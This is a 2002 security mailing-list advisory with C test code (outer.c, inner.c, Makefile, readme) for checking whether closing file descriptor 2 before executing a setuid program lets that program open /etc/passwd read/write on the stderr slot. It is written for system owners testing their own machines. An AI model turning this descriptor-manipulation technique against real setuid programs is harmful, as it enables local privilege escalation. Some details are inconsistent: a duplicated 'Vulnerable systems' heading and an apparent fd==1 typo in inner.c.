[EXPL] Suid Application Execution May Give Local Root (Testing App)

From: support@securiteam.com
Date: 04/23/02 

From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 23 Apr 2002 21:48:44 +0200 (CEST)

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  Suid Application Execution May Give Local Root (Testing App)
------------------------------------------------------------------------

SUMMARY

The following code will allow you to safely test your system for the below
motioned vulnerability. For more information about this vulnerability see
our previous article:
<http://www.securiteam.com/unixfocus/5CP0O0K6UU.html> Suid Application
Execution May Give Local Root.

DETAILS

Vulnerable systems:
 * Solaris 2.5.1-2.5.8

Vulnerable systems:
 * Linux 2.2.16 RedHat AXP
 * Linux 2.5.6 Debian `Woody'
 * Linux 2.4.18 Debian `Potato'
 * OpenBSD 2.9
 * OpenBSD 3.0
 * OpenBSD 3.1
 * OS X 10.1.4
 * NetBSD 1.4.2

Test code:
Makefile:
all: outer inner

clean:
  rm -f outer inner

inner.c:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
  int fd=open("/etc/passwd",O_RDWR);
  if(fd==1)
    return 0;
  
  printf("Opened /etc/passwd read/write: fd=%d\n", fd);
  if(geteuid())
    printf("You are not root, inner is not setuid\n");
  else if(fd==2)
    printf("You are vulnerable!\n");
}

outer.c:
#include <unistd.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
  printf("Closing fd 2\n");
  close(2);
  printf("Calling exec for ./inner\n");
  execl("./inner", "./inner", 0);
}

readme:
Run make, and then make sure that ./inner is owned by root and setuid
root:

/outer starts ./inner, which tries to open /etc/passwd read/write, but
does not write to it.

$ make

(change to root)

# chown root ./inner
# chmod 04755 ./inner

(drop back to non-root)

$ ./outer
Closing fd 2
Calling exec for ./inner
Opened /etc/passwd read/write: fd=3

This indicates that you are NOT vulnerable.
fd=-1 indicates that you made a mistake our have a nosuid fs
fd=2 indicates that you are vulnerable.

ADDITIONAL INFORMATION

The information has been provided by <mailto:ahu@ds9a.nl> bert hubert.

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